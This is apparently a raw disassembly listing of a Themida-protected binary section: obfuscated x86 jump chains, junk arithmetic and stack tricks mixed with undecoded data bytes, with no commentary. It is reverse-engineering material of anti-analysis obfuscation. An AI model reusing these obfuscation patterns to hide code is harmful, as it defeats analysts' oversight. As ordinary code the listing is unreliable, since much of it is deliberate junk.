		xchg	ecx, edi
		xor	edi, 0A3F475E1h
		push	13E3h
		mov	[esp], edi
		mov	ebp, [esp]
		jmp	loc_5755E2
; ---------------------------------------------------------------------------


loc_56CF56:				; CODE XREF: Themida_:00571274j
		add	ebx, 67ED5302h
		pop	edx
		sub	ebx, 0F45FE4C8h
		jmp	loc_56406C
; ---------------------------------------------------------------------------
		dd 15EF031h, 24048BC6h,	8104C483h, 0C64ADEE9h, 1934E941h
		dd 48F0000h, 0B32C5C24h, 0B304D000h, 5A2434FFh,	3004C483h
		dd 0C0B60FC3h, 24148B66h, 39AE68h, 243C8900h, 23F68h, 24248900h
		dd 0B299E953h, 3489FFFFh, 0E0895024h, 405h, 0E626E900h
		dd 1BBFFFFFh, 29DDCFDFh, 0B8505FF9h, 14DF22A5h,	3507E8C1h
		dd 0DBE5B58h, 0C626A125h, 0A6354851h, 2D55AC3Bh, 0D4E6EED2h
		dd 16E9C229h, 0BDFFFFF2h, 590D261Fh, 4246C01h, 88FEE95Dh
		dd 4890000h, 4EC8324h, 0BF243C89h, 152E2288h, 895FF889h
		dd 0F32958C6h, 0E3C3815Eh, 8128AB16h, 4F11E1C3h, 81C32933h
		dd 4F11E1EBh, 64E95733h, 68FFFFECh, 6559h, 0B9240C89h
		dd 5B88776Eh, 0EC834949h, 24048904h, 7A6520B8h,	4E8C130h
		dd 5CBE5640h, 812B8D22h, 6849F7E6h, 0F3EE815Dh,	0E94AE859h
		dd 8E14h, 5C241487h, 31240C33h,	0C33240Ch, 24248B24h, 9CC83B66h
		dd 0FF369CE9h, 59E9ACFFh, 5C00001Eh, 3FCBE9h, 4EC8300h
		dd 89240C89h, 71A0E9E1h, 0CA290000h, 50BBE9h
		db 0
; ---------------------------------------------------------------------------


loc_56D099:				; CODE XREF: Themida_:005653B6j
		or	ebx, 7696611Dh
		add	ebx, 55616878h
		xor	edi, ebx
		jmp	loc_571FCC
; ---------------------------------------------------------------------------


loc_56D0AC:				; CODE XREF: Themida_:00569971j
		add	esp, 4
		xor	esi, 2BB86C3Fh
		push	ebx
		mov	ebx, esi
		jmp	loc_571427
; ---------------------------------------------------------------------------
		dd 3058E528h, 56E959ECh, 53FFFFB1h, 0C381E389h,	4, 4C381h
		dd 0ADE90000h, 25000075h, 214B1C1Eh, 0F748E0D1h, 0E3B951D0h
		dd 0C10EE03Ah, 0AEE906E9h, 5CFFFF8Dh, 0FFCD0AE9h, 241487FFh
		dd 24048B5Ch, 6804C483h, 5C47h,	0BD242C89h, 40h, 0A9E9E921h
		dd 81FFFF42h, 1A6454C5h, 3C68176h, 816A8024h, 1125A5EEh
		dd 819CE957h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56D132:				; CODE XREF: Themida_:005654B5j
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		jmp	loc_5693F1
; ---------------------------------------------------------------------------


loc_56D146:				; CODE XREF: Themida_:0056C50Fj
		mov	[esp], esp
		jmp	loc_5745F0
; ---------------------------------------------------------------------------
		dw 0F681h
		dd 441711A3h, 0FF75B4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56D159:				; CODE XREF: Themida_:00567BB1j
		mov	ecx, 5223537Ah
		jmp	loc_5655E7
; ---------------------------------------------------------------------------


loc_56D163:				; CODE XREF: Themida_:00561D60j
		pop	edx
		sub	esp, 4
		mov	[esp], ecx
		push	4
		pop	ecx
		add	ebx, ecx
		mov	ecx, [esp]
		jmp	loc_5625AB
; ---------------------------------------------------------------------------
		db 81h,	0E1h, 0DCh
		dd 0E9183549h, 0FFFF853Eh, 24E0EB81h, 0D9014B99h, 50DF685Bh
		dd 4890000h, 45BD5524h,	81540067h, 0D374E4C5h, 91CD8179h
		dd 816A9E27h, 8F5CF8C5h, 0D6E4E973h, 0CB81FFFFh, 12B35C18h
		dd 76DEC381h
		db 2 dup(63h)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], esi
		mov	esi, 5EFF5F9Bh
		neg	esi
		jmp	loc_573066
; ---------------------------------------------------------------------------


loc_56D1E6:				; CODE XREF: Themida_:00574C51j
		mov	eax, [esp]
		jmp	loc_56B52B
; ---------------------------------------------------------------------------
		dw 0EDC1h
		dd 2DBF5703h, 817C1045h, 0C57582C7h, 0B1F78123h, 81411C07h
		dd 75B2CEF7h, 8BFD29BEh, 0C483243Ch, 28E94D04h,	5A000033h
		dd 78C38159h, 814FEA1Ah, 3C72AEC3h, 0E9D32965h,	0FFFF9014h
		dd 0B441CCB9h, 59CE2933h, 996AEE81h, 0B8E9E1B9h, 81FFFF6Ah
		dd 7146F1C3h, 8FE95F30h, 0C1FFFF89h, 0EE8104EEh, 3E8E2C09h
		dd 4B8EF681h, 814674C4h, 9BA82AF6h, 4D06E9CEh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56D266:				; CODE XREF: Themida_:0057142Cj
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_574D5B
; ---------------------------------------------------------------------------
		db 68h
		dd 0CDEAB6A2h, 0EDC7815Fh, 0E9297F35h, 0FFFF3C53h, 63236C35h
		dd 902AE92Bh, 0CC68FFFFh, 0E900007Fh, 0FFFF6679h, 4ED815Eh
		dd 87000000h, 98E9242Ch, 0FFFF72h, 866FE9DAh, 0FF5CFFFFh
		dd 0C8E92434h, 68FFFFACh, 50E2h, 83240C89h, 896602ECh
		dd 0A9B02404h, 0FFF2C5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56D2CD:				; CODE XREF: Themida_:005631B0j
		sub	bl, 3Ah
		mov	cl, bl
		jmp	loc_56F6D1
; ---------------------------------------------------------------------------


loc_56D2D7:				; CODE XREF: Themida_:0056EEC1j
		pop	eax
		add	esp, 4
		jmp	loc_5754F4
; ---------------------------------------------------------------------------


loc_56D2E0:				; CODE XREF: Themida_:00567D08j
		mov	edi, 4
		add	ecx, edi
		pop	edi
		xchg	ecx, [esp]
		jmp	loc_5760F5
; ---------------------------------------------------------------------------
		dd 0D019E580h, 1C580E5h, 284FC580h, 564FE9EBh, 0F568FFFFh
		dd 54000054h, 6824048Fh, 27C8h,	0FF5B07E9h, 4B9FFh, 0C8290000h
		dd 3037E9h, 4EC8100h, 54000000h, 8324048Fh, 8F042404h
		dd 81682404h, 89000067h, 36E92434h
		db 32h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56D33F:				; CODE XREF: Themida_:005610F6j
		push	ecx
		jmp	loc_571580
; ---------------------------------------------------------------------------
		db 81h,	0E2h, 72h
		dd 810F1A52h, 0A2770C2h, 5AD73102h, 0C3E9FA29h,	52FFFFC9h
		dd 0B3B85055h, 8938C56Eh, 0C58158C5h, 477716E2h, 89E5814Dh
		dd 81366C6Eh, 0A540ACEDh, 6BF58174h, 89E08FC2h,	242C8BEAh
		dd 5604C483h, 89DAE9h, 2EDC100h, 0FF5F85E9h, 243C8BFFh
		dd 6804C483h, 0A33h, 0BE243489h, 534D0221h, 815EF301h
		dd 0FFFFFFC3h, 87CB81FFh, 815F3A58h, 0FFFFFFC3h, 5CC381FFh
		dd 558080A1h, 0FFE88AE9h, 48B66FFh, 0E9545224h,	0FFFFDCD8h
		dd 24048B66h, 0FF7850E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56D3DD:				; CODE XREF: Themida_:00561DFBj
		add	edx, eax
		pop	eax
		push	esi
		mov	esi, 4
		add	edx, esi
		pop	esi
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		jmp	loc_56F832
; ---------------------------------------------------------------------------
		dd 8324148Bh, 5C6804C4h, 8900001Dh, 0E6892434h,	0FFDF43E9h
		dd 81E789FFh, 4C7h, 4B85000h, 1000000h,	3C8758C7h, 34FF5C24h
		dd 0E9575D24h, 7AE6h
; ---------------------------------------------------------------------------


loc_56D428:				; CODE XREF: Themida_:00563FE2j
		sub	edx, edi
		pop	edi
		sub	eax, 5ACC2BA6h
		add	eax, edx
		add	eax, 5ACC2BA6h
		pop	edx
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		shr	edi, 3
		shr	edi, 3
		jmp	loc_56B4C8
; ---------------------------------------------------------------------------
		dd 0C520BCB0h, 99E95866h, 68FFFFFEh, 6C423DE4h,	81240C8Bh
		dd 4C4h, 0F4C18100h, 8111C52Dh,	622127E9h, 0BB8BE924h
		dd 525DFFFFh, 42474FFh,	72F0E95Ah, 815AFFFFh, 4C2h, 4C28300h
		dd 0E9241487h, 0FFFF7302h
; ---------------------------------------------------------------------------


loc_56D494:				; CODE XREF: Themida_:0056E565j
		pop	ecx
		sub	ecx, 5CB546F9h
		pop	eax
		jmp	loc_57529A
; ---------------------------------------------------------------------------
		db 68h,	2, 1Bh
		dd 24890000h, 24048124h, 4, 0FFCA3AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56D4B5:				; CODE XREF: Themida_:0056DBC2j
		mov	eax, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_561DDB
; ---------------------------------------------------------------------------


loc_56D4C5:				; CODE XREF: Themida_:00563616j
		add	esp, 4
		jmp	loc_574D25
; ---------------------------------------------------------------------------
		db 1, 0CAh, 81h
		dd 1100AAC2h, 0E3BB5310h, 8101FA33h, 0E879B9EAh, 81DA2908h
		dd 0E879B9C2h, 241C8B08h, 0E904C483h, 0FFFF62E8h, 6C27CD81h
		dd 0ED815CD8h, 36515E1Ch, 0D252C581h, 0E829D126h, 5D8295Dh
		dd 19AF6265h, 0EEBE5655h, 89233559h, 0B7E95EF5h, 35FFFFF4h
		dd 4FE81590h, 8758C729h, 0EBE9243Ch, 0B8FFFF7Eh, 5DEB467Eh
		dd 4C25E8D1h, 35331F00h, 5ADC0F14h, 0FFB928E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56D545:				; CODE XREF: Themida_:005691B2j
		push	303Bh
		jmp	loc_569C64
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0FF042474h, 0E95B2434h, 0FFFF8A30h
; ---------------------------------------------------------------------------


loc_56D55C:				; CODE XREF: Themida_:00567A1Dj
		pop	ecx
		jmp	loc_5640F7
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 89242C89h, 4C581E5h, 81000000h, 4C5h, 242C8700h
		dd 4654E95Ch, 0DD88FFFFh, 88EB8853h, 0E9595BDCh, 1B4Bh
		dd 4C481h, 3C870000h, 54555C24h, 28D9E9h, 5776B900h, 0D18716F3h
		dd 26E9D2F7h
		db 0A0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56D5AF:				; CODE XREF: Themida_:00566279j
		add	ebx, esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		add	ebx, 10337AF2h
		sub	ebx, 615D3A8Fh
		jmp	loc_573F59
; ---------------------------------------------------------------------------
		db 52h,	89h, 0E2h
		dd 4C281h, 0ADE90000h
		db 82h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56D5D7:				; CODE XREF: Themida_:00572CE9j
		shr	esi, 3
		xor	esi, 3631D9D8h
		mov	edi, esi
		pop	esi
		shl	edi, 6
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 67A4DD2h
		and	ecx, 296C71C5h
		and	ecx, 5F5C5216h
		shr	ecx, 4
		dec	ecx
		add	ecx, 4585CD55h
		add	edi, 53305A8h
		jmp	loc_565CFE
; ---------------------------------------------------------------------------
		db 0BFh, 0DCh, 6
		dd 7C013D44h, 0E95F0424h, 0FFFF981Dh
; ---------------------------------------------------------------------------


loc_56D624:				; CODE XREF: Themida_:0056CAA0j
		push	esi
		mov	esi, 59841965h
		add	eax, esi
		pop	esi
		dec	eax
		sub	eax, 3B8632B6h
		add	esi, eax
		push	dword ptr [esp]
		pop	eax
		jmp	loc_571306
; ---------------------------------------------------------------------------
		dw 1489h
		dd 815A5424h, 4C2h, 4C28100h, 87000000h, 0E95C2414h, 0FFFF90C5h
		dd 8B24048Fh, 0EC812424h, 4, 0B1240C89h, 677AE999h, 0E181FFFFh
		dd 10174244h, 0C106E9C1h, 90E908E1h, 81FFFF73h,	4ECh, 241C8900h
		dd 56B0E9h, 0E9DF0100h,	0FFFF9E43h, 4D45E957h, 0F5810000h
		dd 79562E7Fh, 815DEE89h, 1126DFEEh, 6E6C153h, 7934F681h
		dd 0EE815583h, 0ABA5263h, 5333C681h, 5B5630F2h,	74BB535Eh
		dd 0C14FDD41h, 6E907EBh, 59000069h, 5A9FE9h, 2DD00100h
		dd 299615FBh, 83565F05h, 24148B4Eh, 0E904C483h,	0FFFFAEECh
		dd 4EC81h, 5AE90000h, 5D000074h, 0FF4921E9h, 0E9008FFFh
		dd 0FFFF3011h, 0A5E9D901h, 68000075h, 69B04DBEh, 0EBF18159h
		dd 8123E372h, 282913F1h, 0C181413Bh, 0E87F0BC9h, 159C889h
		dd 58082444h, 4DBD555Ah, 2970FB49h, 5D04246Ch, 0FFE330E9h
		dd 0E9C388FFh, 31ABh
; ---------------------------------------------------------------------------


loc_56D744:				; CODE XREF: Themida_:005721D9j
		add	edi, ecx
		pop	ecx
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	7B79h
		mov	[esp], edi
		push	ebp
		jmp	loc_56A6CB
; ---------------------------------------------------------------------------
		db 1
		dd 1983E9F8h, 0C6310000h, 0CEE9F031h, 88000068h, 34E95AD7h
		dd 81FFFF9Ch, 4C6h, 0DD80E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56D782:				; CODE XREF: Themida_:0056C439j
		push	eax
		push	61C22EEEh
		pop	eax
		mov	ecx, eax
		mov	eax, [esp]
		push	ebp
		push	esp
		pop	ebp
		push	ecx
		mov	ecx, 8CB19E9h
		or	ecx, 6CC92618h
		dec	ecx
		xor	ecx, 2FC61D99h
		xor	ecx, 430D2265h
		add	ebp, ecx
		mov	ecx, [esp]
		add	esp, 4
		add	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		push	edi
		mov	edi, 61C22EEAh
		jmp	loc_562655
; ---------------------------------------------------------------------------
		db 83h,	0C3h, 2
		dd 0FF8C28E9h, 48966FFh, 8F685124h, 89000079h, 70B3241Ch
		dd 49F5E9h, 74B50500h, 0F80148E7h, 0E774B52Dh, 83525F48h
		dd 0C8904ECh, 25FB6824h, 34890000h, 1A136824h, 4DE95C86h
		dd 68FFFFCBh, 562Ch, 1BBDE9h
		db 0
; ---------------------------------------------------------------------------


loc_56D819:				; CODE XREF: Themida_:005624BEj
		xor	ecx, 3A1C693Dh
		xor	ebp, ecx
		pop	ecx
		push	dword ptr [esp]
		jmp	loc_571872
; ---------------------------------------------------------------------------
		dw 26B5h
		dd 0C002EDC0h, 0ED8003EDh, 0B66866FFh, 1C896674h, 0ECB25224h
		dd 7138E9h, 0C8B6600h, 0E3895324h, 5A83BF57h, 0F7816AF2h
		dd 1B993C1Ch, 0FF499CE9h, 685152FFh, 3D386AA9h,	8B2434FFh
		dd 0C481240Ch, 4, 4C481h, 3CE90000h, 81FFFF65h,	9F31C9C1h
		dd 62EDE978h, 5C0000h, 0E99C2404h, 0FFFFB889h
; ---------------------------------------------------------------------------


loc_56D890:				; CODE XREF: Themida_:00573090j
		add	dword ptr [esp+4], 590E6DFDh
		pop	edi
		mov	eax, [esp]
		add	esp, 4
		push	540Fh
		mov	[esp], edi
		mov	edi, 52FB2600h
		push	edx
		mov	edx, 35FC74D0h
		xor	edi, edx
		jmp	loc_5734A8
; ---------------------------------------------------------------------------
		dd 0CD735C68h, 241C8B09h, 4C481h, 0BA520000h, 4C7910C6h
		dd 1B850h, 0C2010000h, 81424A58h, 0D35818F2h, 8BD32155h
		dd 0AEE92414h, 8BFFFFE8h, 56E9243Ch, 2DFFFFAAh,	7AAF266Dh
		dd 48BC101h, 210AE924h,	0D5310000h, 0F7DD875Ah,	81DD87D3h
		dd 7C5865F5h, 81D5F740h, 1C5h, 0F2E94D00h
		db 83h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56D91F:				; CODE XREF: Themida_:00575C58j
		sub	dword ptr [esp], 119C6BD6h
		pop	esi
		sub	esi, 1
		jmp	loc_568BA8
; ---------------------------------------------------------------------------
		db 5Eh
		dd 0CDA7E957h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56D936:				; CODE XREF: Themida_:005617F2j
		pop	edi
		jmp	loc_57350E
; ---------------------------------------------------------------------------
		dd 8324048Bh, 0C78104C4h, 2, 31243C33h,	3C33243Ch, 53665C24h
		dd 0DB9DBB66h, 0FF3817E9h, 6296BBFFh, 0B6E92961h, 5CFFFF2Eh
		dd 68243489h, 4, 6FD32D5Eh, 7EE91976h, 29FFFF4Eh, 92BB53D7h
		dd 81163658h, 9A719DCBh, 0E9D3F75Eh, 24DFh, 40685753h
		dd 8B35BF5Bh, 0C481243Ch, 4, 0FFB5B8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56D9A5:				; CODE XREF: Themida_:00566CFDj
		pop	esp
		push	dword ptr [esp]
		pop	ebx
		sub	esp, 4
		mov	[esp], edi
		mov	edi, esp
		push	eax
		mov	eax, 4
		jmp	loc_56222B
; ---------------------------------------------------------------------------


loc_56D9BD:				; CODE XREF: Themida_:0056CBABj
		push	3AFDh
		jmp	loc_5758D6
; ---------------------------------------------------------------------------


loc_56D9C7:				; CODE XREF: Themida_:00564906j
		push	ecx
		jmp	loc_571D95
; ---------------------------------------------------------------------------
		db 56h,	0E9h, 70h
		db 50h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56D9D3:				; CODE XREF: Themida_:0056B8B3j
		pop	esp
		jmp	loc_566D41
; ---------------------------------------------------------------------------


loc_56D9D9:				; CODE XREF: Themida_:005665E1j
		push	dword ptr [esp]
		pop	eax
		push	7581h
		mov	[esp], ebp
		push	6F5Ah
		jmp	loc_561695
; ---------------------------------------------------------------------------
		db 68h
		dd 0C40h, 0E9243C89h, 0FFFFBC19h
; ---------------------------------------------------------------------------


loc_56D9FC:				; CODE XREF: Themida_:0057525Aj
		push	ebx
		jmp	loc_572399
; ---------------------------------------------------------------------------


loc_56DA02:				; CODE XREF: Themida_:0056B8D9j
		push	edx
		jmp	loc_562206
; ---------------------------------------------------------------------------
		dd 5B2434FFh, 301D6856h, 24890000h, 24048124h, 4, 5224348Bh
		dd 0C281E289h, 4, 4C281h, 14870000h, 0C6815C24h, 4, 5604C683h
		dd 42474FFh, 8124348Bh,	4C4h, 24048F00h, 0FFD9CDE9h, 2BB53FFh
		dd 81000000h, 0CD52B8E9h, 50D90163h, 5D0ABE56h,	0EE816B1Fh
		dd 7520A52h, 0E95EF089h, 0FFFFFE07h, 0E95BD929h, 848Bh
		dd 1BCDE956h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56DA82:				; CODE XREF: Themida_:0056A9D3j
		xchg	edx, [esp]
		jmp	loc_574C31
; ---------------------------------------------------------------------------
		dw 815Eh
		dd 0B42EC5F3h, 0B3E95324h, 1FFFF36h, 3086E9FEh,	8851FFFFh
		dd 384F88D1h, 0FF37A0E9h, 601825FFh, 89E97546h
		db 82h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56DAB3:				; CODE XREF: Themida_:005611D1j
		neg	ebp
		jmp	loc_561EBA
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 0BE565104h, 75D472Eh, 17B5F681h, 7BE91DFAh
		db 0C2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56DACF:				; CODE XREF: Themida_:0056460Bj
		sub	ecx, ebx
		add	ecx, 26293924h
		add	ecx, 1B3361C9h
		jmp	loc_568FEE
; ---------------------------------------------------------------------------
		dw 0E953h
		dd 0FFFFE711h, 676BE959h, 0EA010000h, 4EA815Dh,	87000000h
		dd 895C2414h, 8FBF243Ch, 81715539h, 39224DE7h, 0E2B6E938h
		dd 0EC83FFFFh, 24148904h, 0C281E289h, 4, 4B850h, 0C2010000h
		dd 24148758h, 8324248Bh, 3C8904ECh, 13E95224h, 8900000Dh
		dd 4C681E6h, 83000000h,	348704C6h, 0F8315C24h, 78BF575Fh
		dd 0E928B807h, 1AC6h, 5C6368h, 6D6CE900h, 6C050000h, 1069123h
		dd 236C2DC8h, 0BD550691h, 112C357Bh, 56C58145h,	531CE554h
		dd 527C6FBBh, 2E38168h,	8101272Eh, 2B153BF3h, 5BDD211Ch
		dd 3EE9DDF7h, 0E9000003h, 0FFFF2B7Dh, 1A7CBD55h, 0E93139C4h
		dd 33AEE9h, 5CED8100h, 56FC1460h, 0B915B9BEh, 5EF02909h
		dd 0FF2C6CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56DBB9:				; CODE XREF: Themida_:005741A7j
		mov	cl, ah
		mov	eax, [esp]
		add	esp, 4
		pop	edx
		jmp	loc_56D4B5
; ---------------------------------------------------------------------------
		db 5
		dd 4, 405h, 24048700h, 0BE56515Ch, 11C624C4h, 87BAB850h
		dd 0C18947A0h, 5EF12958h, 0C8BC801h, 0E7895724h, 4BE56h
		dd 0F7010000h, 0EE14E95Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56DBFE:				; CODE XREF: Themida_:00564BEBj
		pop	edx
		shr	al, 8
		jmp	loc_569100
; ---------------------------------------------------------------------------


loc_56DC07:				; CODE XREF: Themida_:0056973Fj
		shl	edx, 1
		push	61C7h
		mov	[esp], ebp
		push	1
		push	dword ptr [esp]
		mov	ebp, [esp]
		push	749Ch
		jmp	loc_56C509
; ---------------------------------------------------------------------------
		dw 6866h
		dd 8966583Dh, 7268240Ch, 8900004Dh, 0B652241Ch,	5AF78866h
		dd 52AEEF80h, 0EBE9FE88h
		db 6Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56DC47:				; CODE XREF: Themida_:00570AACj
		mov	edx, [esp]
		push	esi
		jmp	loc_56C0B4
; ---------------------------------------------------------------------------
		dd 2C8BE801h, 4C48324h,	31240433h, 4332404h, 0B7E95C24h
		dd 81000037h, 455C57C3h, 4FC38113h, 5A21E457h, 0FFFDFBE9h
		dd 0A5F35CFFh, 50386203h, 2A35BE56h, 0EEC105E3h, 47E95705h
		dd 81FFFFC1h, 4C4h, 4C48300h, 4C481h, 0E9530000h, 65C5h
		dd 8108E5C1h, 917D37F5h, 0C581450Dh, 5D23FFCCh,	505DE901h
		dd 4B8h, 0E9C10100h, 4DB2h
; ---------------------------------------------------------------------------


loc_56DCC4:				; CODE XREF: Themida_:00567556j
		add	dword ptr [esp], 4
		mov	ecx, [esp]
		push	eax
		jmp	loc_5741BC
; ---------------------------------------------------------------------------
		db 0ADh, 0E9h, 3Bh
		dd 29FFFFE1h, 43C3E9EBh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56DCDE:				; CODE XREF: Themida_:00575E6Fj
		mov	[esp], ebx
		mov	ebx, 69B77E62h
		xchg	ebp, ebx
		not	ebp
		push	ebx
		push	ebp
		pop	ebx
		jmp	loc_569274
; ---------------------------------------------------------------------------


loc_56DCF2:				; CODE XREF: Themida_:0056CF02j
		pop	edx
		jmp	loc_568313
; ---------------------------------------------------------------------------
		dd 4FEC2BBDh, 8BEF316Dh, 0C483242Ch, 0A0ED8104h, 13FEE12h
		dd 0E95752FDh, 6CD8h, 0FF3877FFh, 68592434h, 3A6Bh, 68242C89h
		dd 450Eh, 83242489h, 8B042404h,	8956242Ch, 4C681E6h, 83000000h
		dd 0E7E904C6h, 0BBFFFF2Eh, 44E7016Dh, 0E904EC83h, 662Ch
; ---------------------------------------------------------------------------


loc_56DD50:				; CODE XREF: Themida_:00571D3Ej
		xchg	esi, [esp]
		pop	esp
		jmp	loc_56A0D4
; ---------------------------------------------------------------------------
		db 1, 0CFh, 81h
		dd 527644C7h, 57D4E913h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56DD66:				; CODE XREF: Themida_:0056366Cj
		push	ebx
		jmp	loc_5685A5
; ---------------------------------------------------------------------------
		dd 4EC815Ah, 0E9000000h, 0FFFFD1F8h, 9D1C77FFh,	4185866h
		dd 8EE99C24h, 0BDFFFF29h, 331D5A31h, 0D60EF42Dh, 1990052Eh
		dd 0B6E96B5Fh, 50FFFFA9h, 0AC5936B8h, 1F42BF1Ch, 0C7310EE3h
		dd 3390E9h, 335E5D00h, 76E92404h
		db 38h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56DDB7:				; CODE XREF: Themida_:00560FBAj
		sub	edx, esi
		pop	esi
		sub	edx, 3C464AD4h
		sub	edx, eax
		add	edx, 3C464AD4h
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_564D03
; ---------------------------------------------------------------------------
		dw 0C283h
		dd 24148704h, 2924248Bh, 24348BF0h, 597968h, 241C8900h
		dd 7E1168h, 0ABC0E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56DDF6:				; CODE XREF: Themida_:00567A71j
		mov	edi, ecx
		pop	ecx
		jmp	loc_56A4F3
; ---------------------------------------------------------------------------


loc_56DDFE:				; CODE XREF: Themida_:005693FFj
		not	ebp
		jmp	loc_56171C
; ---------------------------------------------------------------------------


loc_56DE05:				; CODE XREF: Themida_:005740F5j
		add	esp, 4
		jmp	loc_5665BF
; ---------------------------------------------------------------------------


loc_56DE10:				; CODE XREF: Themida_:00573C00j
		pop	edx
		push	ebp
		mov	ebp, 0C6B4D52h
		xor	edx, ebp
		pop	ebp
		pop	ecx
		add	edi, 7C600486h
		add	edi, edx
		sub	edi, 7C600486h
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_569368
; ---------------------------------------------------------------------------
		db 8Bh
		dd 89572424h, 410CE9E7h, 3EBE0000h, 5310464Dh, 0AF5073BBh
		dd 5BDE2958h, 339C681h,	3BE94869h
		db 78h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56DE5B:				; CODE XREF: Themida_:00568BE1j
		add	ebx, 506D67E8h
		push	eax
		mov	eax, 9A17FB0Dh
		sub	ebx, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_5745C1
; ---------------------------------------------------------------------------
		db 89h
		dd 96E9240Ch, 0B8FFFF28h, 4C427359h, 55211905h,	5E8D121h
		dd 221A054h, 0FFA559E9h, 79E95DFFh, 0FFFFFFC5h,	2873E932h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56DEA2:				; CODE XREF: Themida_:00572E59j
		dec	ebp
		xor	ebp, 70506E7Dh
		not	ebp
		and	ebp, 52F6C46h
		jmp	loc_56521D
; ---------------------------------------------------------------------------
		dw 0E0C1h
		dd 2D484808h, 1687DD86h, 6658C301h, 6800B60Fh, 3E59h, 2625E9h
		dd 7EED8100h, 0E99EE990h, 0FFFF725Bh, 0E9240C33h, 0FFFFA5A0h
		dd 5C243433h, 0E904EC83h, 0FFFFB28Fh, 5C24048Fh, 27E8B850h
		dd 720D0F08h, 401A1703h, 0E9D0F748h, 0FFFFB168h, 66BF575Ch
		dd 6879A148h, 4029h, 0FF3299E9h, 96B951FFh, 0E9666F25h
		dd 39E4h, 4BB3E951h, 248BFFFFh,	27E3E924h, 315BFFFFh, 31DD31EBh
		dd 0E9954DEBh, 0FFFFE0B5h
; ---------------------------------------------------------------------------


loc_56DF40:				; CODE XREF: Themida_:00561BFCj
		pop	esp
		mov	[esp], ebx
		jmp	loc_56AE73
; ---------------------------------------------------------------------------


loc_56DF49:				; CODE XREF: Themida_:00573B11j
		pop	ebp
		sub	ebp, 0FFFFFFFFh
		jmp	loc_56BBDE
; ---------------------------------------------------------------------------


loc_56DF55:				; CODE XREF: Themida_:00575307j
		inc	esi
		jmp	loc_56A0FD
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFF27B5h, 23E6BB53h, 0E9937111h, 3A03h
; ---------------------------------------------------------------------------


loc_56DF6C:				; CODE XREF: Themida_:005627A6j
		pop	ebx
		mov	ebx, [esp]
		add	esp, 4
		push	eax
		mov	eax, 3740552Dh
		sub	eax, 1B9F12C4h
		sub	ebx, eax
		pop	eax
		jmp	loc_560715
; ---------------------------------------------------------------------------
aBcczDqs_	db 'æCzÐdQé',0Ah
		db '.',0
		dd 59CB0900h, 4316F381h, 0CAE94FEEh, 81FFFFA5h,	4C2h, 2F88E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56DFAE:				; CODE XREF: Themida_:00572550j
		mov	[esp], ebx
		mov	ebx, 4D20471Fh
		add	eax, ebx
		mov	ebx, [esp]
		jmp	loc_57261C
; ---------------------------------------------------------------------------


loc_56DFC0:				; CODE XREF: Themida_:0056227Fj
		push	edi
		mov	edi, 3A6C0E3Ch
		mov	eax, 3BE82B47h
		sub	eax, edi
		pop	edi
		xor	ecx, eax
		pop	eax
		jmp	loc_56FD85
; ---------------------------------------------------------------------------


loc_56DFD6:				; CODE XREF: Themida_:0056EA7Fj
		sub	cl, 0D2h
		xor	cl, 8Fh
		jmp	loc_56B2E1
; ---------------------------------------------------------------------------
		db 8Bh,	1Ch, 24h
		dd 0FF90D8E9h, 48F5EFFh, 24248B24h, 240CFF66h, 271BE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56DFFA:				; CODE XREF: Themida_:0056ACEAj
		pop	cx
		neg	ah
		xor	ah, 0E3h
		jmp	loc_56A490
; ---------------------------------------------------------------------------
		dw 0C129h
		dd 4407E981h, 158397Ah,	5927E9CEh, 0F281FFFFh, 8A146620h
		dd 815AD189h, 52917E9h,	0BDE9413Bh, 56FFFFC1h, 0C681E689h
		dd 4, 8704C683h, 71E92434h, 81FFFFC7h, 854979CEh, 6860h
